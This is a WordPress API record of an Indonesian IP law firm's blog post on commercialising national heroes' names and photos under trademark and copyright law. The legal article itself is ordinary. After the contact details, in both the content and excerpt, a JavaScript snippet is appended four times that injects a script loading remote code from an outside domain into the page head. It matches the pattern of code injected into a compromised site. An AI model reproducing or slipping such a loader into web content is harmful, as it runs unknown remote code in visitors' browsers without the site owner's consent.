{"id":5903,"date":"2025-11-11T02:53:23","date_gmt":"2025-11-11T02:53:23","guid":{"rendered":"https:\/\/staging.affa.co.id\/?p=5903"},"modified":"2025-11-11T02:53:23","modified_gmt":"2025-11-11T02:53:23","slug":"komersialisasi-pahlawan-nasional-bagaimana-perlindungan-ki-dan-perizinannya","status":"publish","type":"post","link":"https:\/\/staging.affa.co.id\/bhs\/2025\/11\/11\/komersialisasi-pahlawan-nasional-bagaimana-perlindungan-ki-dan-perizinannya\/","title":{"rendered":"Komersialisasi Pahlawan Nasional &#8211; Bagaimana Perlindungan KI dan Perizinannya?"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Setiap tanggal 10 November, di Indonesia diperingati sebagai Hari Pahlawan. Pada momen ini, banyak pelaku usaha ikut merayakan dengan membuat konten bertema pahlawan \u2014 mulai dari poster promosi, merchandise, hingga kampanye pemasaran digital.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Namun, muncul beberapa pertanyaan penting:<\/span><\/p>\n<p><em><strong>\u201cBolehkah wajah atau nama pahlawan nasional dikomersialkan?\u201d<\/strong><\/em><\/p>\n<p><em><strong>\u201cApakah diperlukan izin tertentu agar tidak melanggar hukum Kekayaan Intelektual (KI)?\u201d<\/strong><\/em><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Artikel ini dapat jadi panduan bagi Anda, karena membahas aspek hukum terkait komersialisasi tokoh pahlawan nasional, terutama dari sudut Merek dan Hak Cipta, serta batasan pemanfaatannya untuk tujuan komersial.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Merek: <\/b><b><br \/>\n<\/b><b>Apakah Nama Pahlawan Nasional dapat Didaftarkan dan Dikomersialkan?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Nama seseorang pada dasarnya dapat dijadikan Merek selama memenuhi persyaratan pendaftaran. Namun, untuk nama pahlawan nasional, penggunaannya memerlukan perhatian khusus karena menyangkut kepentingan publik dan nilai historis bangsa.<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><b>Apakah nama pahlawan dilindungi sebagai Merek?<br \/>\n<\/b>Undang-Undang Merek dan Indikasi Geografis mengatur bahwa:<\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Merek yang mengandung nama atau foto seseorang <\/span><b>membutuhkan persetujuan tertulis dari pihak yang berhak<\/b><span style=\"font-weight: 400\">.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pendaftaran dapat ditolak jika Merek tersebut dianggap bertentangan dengan <\/span><b>ketertiban umum, moralitas, atau kepentingan masyarakat<\/b><span style=\"font-weight: 400\">.<\/span><\/li>\n<\/ul>\n<\/li>\n<li style=\"list-style-type: none\"><\/li>\n<li style=\"list-style-type: none\">Karena pahlawan nasional merupakan tokoh bersejarah yang dihormati, nama mereka berpotensi dikategorikan sebagai kepentingan publik. Akibatnya, pendaftaran Merek atas nama pahlawan dapat ditolak negara jika dinilai tidak pantas atau berpotensi menyesatkan.<\/li>\n<li style=\"list-style-type: none\">Singkatnya, nama pahlawan nasional umumnya tidak dapat diprivatisasi sebagai Merek oleh pihak yang tidak berkepentingan.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li><b>Bolehkah nama pahlawan digunakan untuk tujuan komersial tanpa izin?<\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\">Secara prinsip, tidak dianjurkan. Karena penggunaan nama pahlawan untuk aktivitas pemasaran dapat dipandang sebagai eksploitasi atas identitas simbolik bangsa. Meski pahlawan telah wafat, reputasi dan kehormatan mereka tetap dilindungi demi kepentingan publik.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li><b>Jadi, apa saja yang boleh dan tidak boleh dilakukan?<\/b><b><br \/>\nBoleh:<\/b><\/li>\n<\/ul>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menyebutkan tokoh dalam konteks sejarah\/edukasi.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Misal: Artikel sejarah Ki Hajar Dewantara.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kegiatan penghormatan non-komersial.<\/span><\/li>\n<\/ul>\n<\/li>\n<li style=\"list-style-type: none\"><\/li>\n<li style=\"list-style-type: none\"><strong>Tidak Boleh:<\/strong><\/li>\n<\/ul>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mendaftarkan nama pahlawan sebagai Merek.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menjadikan nama pahlawan sebagai elemen promosi produk.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Misal: \u201cDiskon Bung Hatta\u201d<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menyiratkan seolah-olah pahlawan mendukung suatu produk.<\/span><\/li>\n<\/ul>\n<\/li>\n<li style=\"list-style-type: none\"><\/li>\n<li style=\"list-style-type: none\">Penggunaan yang menimbulkan asosiasi komersial berpotensi melanggar ketentuan.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Contoh Kasus: Kampanye \u201cKartini\u2019s Day\u201d<\/b><\/p>\n<p><span style=\"font-weight: 400\">Perayaan Hari Kartini (21 April) menjadi salah satu kampanye paling umum yang melibatkan nama pahlawan nasional. Banyak <\/span><i><span style=\"font-weight: 400\">brand<\/span><\/i><span style=\"font-weight: 400\"> memanfaatkannya untuk promosi penjualan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Apakah hal ini diperbolehkan?<\/span><\/p>\n<p><span style=\"font-weight: 400\">Pada dasarnya, menyebutkan \u201cHari Kartini\u201d sebagai momen perayaan diperbolehkan, selama tidak mengeksploitasi identitas tokoh RA Kartini untuk tujuan promosi langsung.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Berikut ringkasannya:<\/span><\/p>\n<table>\n<tbody>\n<tr>\n<td><b>Aktivitas<\/b><\/td>\n<td><b>Status<\/b><\/td>\n<td><b>Penjelasan<\/b><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Menyebut \u201cHari Kartini\u201d dalam perayaan umum.<\/span><\/td>\n<td><span style=\"font-weight: 400\">\u2705 Aman<\/span><\/td>\n<td><span style=\"font-weight: 400\">Konteks informasi\/edukasi.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Artikel edukatif tentang RA Kartini.<\/span><\/td>\n<td><span style=\"font-weight: 400\">\u2705 Aman<\/span><\/td>\n<td><span style=\"font-weight: 400\">Tujuan non-komersial.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Promo bertema \u201cDiskon 21 April \u2013 Hari Kartini!\u201d tanpa visual Kartini.<\/span><\/td>\n<td><span style=\"font-weight: 400\">\u26a0\ufe0f Boleh dengan hati-hati<\/span><\/td>\n<td><span style=\"font-weight: 400\">Tidak mengasosiasikan tokoh secara langsung.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Menggunakan foto RA Kartini pada poster promosi.<\/span><\/td>\n<td><span style=\"font-weight: 400\">\u274c Tidak boleh<\/span><\/td>\n<td><span style=\"font-weight: 400\">Berisiko melanggar Hak Cipta + etika.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Mendaftarkan nama \u201cKartini\u201d sebagai Merek.<\/span><\/td>\n<td><span style=\"font-weight: 400\">\u274c Tidak boleh<\/span><\/td>\n<td><span style=\"font-weight: 400\">Berpotensi ditolak &amp; dipandang eksploitasi.<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400\">Kampanye yang menyiratkan Kartini mendukung produk.<\/span><\/td>\n<td><span style=\"font-weight: 400\">\u274c Tidak boleh<\/span><\/td>\n<td><span style=\"font-weight: 400\">Menyesatkan + eksploitasi tokoh.<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Kesimpulan parsial:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Boleh menyebut nama momen peringatan (Hari Kartini).<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Boleh pakai tema, tapi jangan eksploitasi tokoh.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Tidak boleh menggunakan identitas tokoh (nama\/foto) sebagai alat promosi langsung.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Contoh aman: <em><strong>\u201cRayakan Hari Kartini \u2014 Nikmati diskon khusus 21 April!\u201d<\/strong><\/em><\/span><\/p>\n<p><span style=\"font-weight: 400\">Contoh berisiko: Menampilkan foto RA Kartini pada banner penjualan produk.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Hak Cipta:\u00a0<\/b><\/p>\n<p><b>Bagaimana Penggunaan Foto atau Ilustrasi Pahlawan?<\/b><\/p>\n<p><span style=\"font-weight: 400\">Selain aspek Merek, penggunaan gambar atau foto pahlawan juga harus memperhatikan Hak Cipta.<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400\"><b>Apakah foto pahlawan dilindungi Hak Cipta?<\/b><b><br \/>\n<\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\">Ya. Hak Cipta melekat pada karya foto, bukan pada subjek dalam foto. Artinya, meskipun pahlawan telah wafat, fotografer atau pemegang Hak Cipta tetap memiliki Hak Eksklusif atas penggunaan foto tersebut.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Karena itu, memanfaatkan foto pahlawan dalam materi komersial\u2014seperti poster promosi, kemasan, atau banner\u2014tanpa izin pemegang hak merupakan pelanggaran.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Catatan:<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Foto yang sudah memasuki Domain Publik dapat digunakan tanpa izin. Namun, hasil digitalisasi arsip berpotensi mendatangkan perlindungan baru sebagai karya turunan, sehingga harus diperiksa terlebih dahulu.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400\"><b>Apa saja yang boleh dan tidak boleh dilakukan terkait foto\/ilustrasi?<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Boleh:<\/span><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menggunakan foto pahlawan yang berada dalam domain publik.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menggunakan foto yang dinyatakan bebas dipakai oleh pemerintah.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Membuat ilustrasi sendiri yang tidak menyalin foto spesifik.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Tidak boleh tanpa izin:<\/span><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mengambil foto dari internet lalu dipakai untuk promosi.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Misal: Memasang foto Bung Tomo di poster promo.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mengedit\/menyesuaikan foto berhak cipta tanpa izin.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menjual merchandise dengan desain foto pahlawan berhak cipta.<br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span>Di sisi lain, ilustrasi orisinal yang tidak menjiplak foto tertentu relatif lebih aman. Namun, tetap perlu memperhatikan konteks etis pemakaian.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Pada akhirnya, komersialisasi nama dan wajah pahlawan nasional bukan sekadar persoalan kreativitas\u2014ada pertimbangan legal dan etis yang harus dipenuhi. Jika Anda ingin merayakan Hari Pahlawan dalam aktivitas bisnis, pertimbangkan strategi yang lebih aman:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Buat ilustrasi bertema patriotisme tanpa menyebutkan nama tokoh spesifik.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Sampaikan pesan penghormatan tanpa mengaitkannya langsung dengan produk.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Konsultasikan rencana pemakaian ke Konsultan KI untuk menilai aspek hukum terkait.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait komersialisasi Pahlawan Nasional di Indonesia,\u00a0 Anda dapat menghubungi kami melalui kanal berikut ini dan dapatkan konsulotasi GRATIS 15 menit:<\/b><b><\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">? E-Mail<\/span> <span style=\"font-weight: 400\">: emirsyah.dinar@staging.affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">? Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">? WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Setiap tanggal 10 November, di Indonesia diperingati sebagai Hari Pahlawan. Pada momen ini, banyak pelaku usaha ikut merayakan dengan membuat konten bertema pahlawan \u2014 mulai dari poster promosi, merchandise, hingga kampanye pemasaran digital. &nbsp; Namun, muncul beberapa pertanyaan penting: \u201cBolehkah wajah atau nama pahlawan nasional dikomersialkan?\u201d \u201cApakah diperlukan izin tertentu agar tidak melanggar hukum Kekayaan Intelektual (KI)?\u201d &nbsp; Artikel ini dapat jadi panduan bagi Anda, karena membahas aspek hukum terkait komersialisasi tokoh pahlawan nasional, terutama dari sudut Merek dan Hak Cipta, serta batasan pemanfaatannya untuk tujuan komersial. &nbsp; Merek: Apakah Nama Pahlawan Nasional dapat Didaftarkan dan Dikomersialkan? &nbsp; Nama seseorang pada dasarnya dapat dijadikan Merek selama memenuhi persyaratan pendaftaran. Namun, untuk nama pahlawan nasional, penggunaannya memerlukan perhatian khusus karena menyangkut kepentingan publik dan nilai historis bangsa. &nbsp; Apakah nama pahlawan dilindungi sebagai Merek? Undang-Undang Merek dan Indikasi Geografis mengatur bahwa: Merek yang mengandung nama atau foto seseorang membutuhkan persetujuan tertulis dari pihak yang berhak. Pendaftaran dapat ditolak jika Merek tersebut dianggap bertentangan dengan ketertiban umum, moralitas, atau kepentingan masyarakat. Karena pahlawan nasional merupakan tokoh bersejarah yang dihormati, nama mereka berpotensi dikategorikan sebagai kepentingan publik. Akibatnya, pendaftaran Merek atas nama pahlawan dapat ditolak negara jika dinilai tidak pantas atau berpotensi menyesatkan. Singkatnya, nama pahlawan nasional umumnya tidak dapat diprivatisasi sebagai Merek oleh pihak yang tidak berkepentingan. &nbsp; Bolehkah nama pahlawan digunakan untuk tujuan komersial tanpa izin? Secara prinsip, tidak dianjurkan. Karena penggunaan nama pahlawan untuk aktivitas pemasaran dapat dipandang sebagai eksploitasi atas identitas simbolik bangsa. Meski pahlawan telah wafat, reputasi dan kehormatan mereka tetap dilindungi demi kepentingan publik. &nbsp; Jadi, apa saja yang boleh dan tidak boleh dilakukan? Boleh: Menyebutkan tokoh dalam konteks sejarah\/edukasi. Misal: Artikel sejarah Ki Hajar Dewantara. Kegiatan penghormatan non-komersial. Tidak Boleh: Mendaftarkan nama pahlawan sebagai Merek. Menjadikan nama pahlawan sebagai elemen promosi produk. Misal: \u201cDiskon Bung Hatta\u201d Menyiratkan seolah-olah pahlawan mendukung suatu produk. Penggunaan yang menimbulkan asosiasi komersial berpotensi melanggar ketentuan. &nbsp; Contoh Kasus: Kampanye \u201cKartini\u2019s Day\u201d Perayaan Hari Kartini (21 April) menjadi salah satu kampanye paling umum yang melibatkan nama pahlawan nasional. Banyak brand memanfaatkannya untuk promosi penjualan. &nbsp; Apakah hal ini diperbolehkan? Pada dasarnya, menyebutkan \u201cHari Kartini\u201d sebagai momen perayaan diperbolehkan, selama tidak mengeksploitasi identitas tokoh RA Kartini untuk tujuan promosi langsung. &nbsp; Berikut ringkasannya: Aktivitas Status Penjelasan Menyebut \u201cHari Kartini\u201d dalam perayaan umum. \u2705 Aman Konteks informasi\/edukasi. Artikel edukatif tentang RA Kartini. \u2705 Aman Tujuan non-komersial. Promo bertema \u201cDiskon 21 April \u2013 Hari Kartini!\u201d tanpa visual Kartini. \u26a0\ufe0f Boleh dengan hati-hati Tidak mengasosiasikan tokoh secara langsung. Menggunakan foto RA Kartini pada poster promosi. \u274c Tidak boleh Berisiko melanggar Hak Cipta + etika. Mendaftarkan nama \u201cKartini\u201d sebagai Merek. \u274c Tidak boleh Berpotensi ditolak &amp; dipandang eksploitasi. Kampanye yang menyiratkan Kartini mendukung produk. \u274c Tidak boleh Menyesatkan + eksploitasi tokoh. &nbsp; Kesimpulan parsial: Boleh menyebut nama momen peringatan (Hari Kartini). Boleh pakai tema, tapi jangan eksploitasi tokoh. Tidak boleh menggunakan identitas tokoh (nama\/foto) sebagai alat promosi langsung. &nbsp; Contoh aman: \u201cRayakan Hari Kartini \u2014 Nikmati diskon khusus 21 April!\u201d Contoh berisiko: Menampilkan foto RA Kartini pada banner penjualan produk. &nbsp; Hak Cipta:\u00a0 Bagaimana Penggunaan Foto atau Ilustrasi Pahlawan? Selain aspek Merek, penggunaan gambar atau foto pahlawan juga harus memperhatikan Hak Cipta. &nbsp; Apakah foto pahlawan dilindungi Hak Cipta? Ya. Hak Cipta melekat pada karya foto, bukan pada subjek dalam foto. Artinya, meskipun pahlawan telah wafat, fotografer atau pemegang Hak Cipta tetap memiliki Hak Eksklusif atas penggunaan foto tersebut. Karena itu, memanfaatkan foto pahlawan dalam materi komersial\u2014seperti poster promosi, kemasan, atau banner\u2014tanpa izin pemegang hak merupakan pelanggaran. Catatan: Foto yang sudah memasuki Domain Publik dapat digunakan tanpa izin. Namun, hasil digitalisasi arsip berpotensi mendatangkan perlindungan baru sebagai karya turunan, sehingga harus diperiksa terlebih dahulu. &nbsp; Apa saja yang boleh dan tidak boleh dilakukan terkait foto\/ilustrasi? Boleh: Menggunakan foto pahlawan yang berada dalam domain publik. Menggunakan foto yang dinyatakan bebas dipakai oleh pemerintah. Membuat ilustrasi sendiri yang tidak menyalin foto spesifik. Tidak boleh tanpa izin: Mengambil foto dari internet lalu dipakai untuk promosi. Misal: Memasang foto Bung Tomo di poster promo. Mengedit\/menyesuaikan foto berhak cipta tanpa izin. Menjual merchandise dengan desain foto pahlawan berhak cipta. Di sisi lain, ilustrasi orisinal yang tidak menjiplak foto tertentu relatif lebih aman. Namun, tetap perlu memperhatikan konteks etis pemakaian. &nbsp; Pada akhirnya, komersialisasi nama dan wajah pahlawan nasional bukan sekadar persoalan kreativitas\u2014ada pertimbangan legal dan etis yang harus dipenuhi. Jika Anda ingin merayakan Hari Pahlawan dalam aktivitas bisnis, pertimbangkan strategi yang lebih aman: Buat ilustrasi bertema patriotisme tanpa menyebutkan nama tokoh spesifik. Sampaikan pesan penghormatan tanpa mengaitkannya langsung dengan produk. Konsultasikan rencana pemakaian ke Konsultan KI untuk menilai aspek hukum terkait. &nbsp; Jika Anda membutuhkan informasi lebih lanjut terkait komersialisasi Pahlawan Nasional di Indonesia,\u00a0 Anda dapat menghubungi kami melalui kanal berikut ini dan dapatkan konsulotasi GRATIS 15 menit: &nbsp; ? E-Mail : emirsyah.dinar@staging.affa.co.id ? Book a Call : +62 21 83793812 ? WhatsApp : +62 812 87000 889var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":5906,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279,377],"tags":[317,627,626,620,619,618,610,609,318,298,315,314,310,309,308,307,306,305],"class_list":["post-5903","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","category-copyright","tag-timing-is-everything","tag-pahlawan","tag-hari","tag-indonesia-patent-registration","tag-indonesia-industrial-design-registration","tag-indonesia-copyright-registration","tag-overseas-trademark","tag-indonesia-trademark-registration","tag-trademark","tag-merek","tag-merek-indonesia-bisa","tag-your-ip-is-our-expertise","tag-ki","tag-kekayaan-intelektual","tag-ip","tag-intellectual-property","tag-affa-ipr","tag-affa"],"_links":{"self":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5903","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5903"}],"version-history":[{"count":0,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5903\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5906"}],"wp:attachment":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5903"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5903"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5903"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}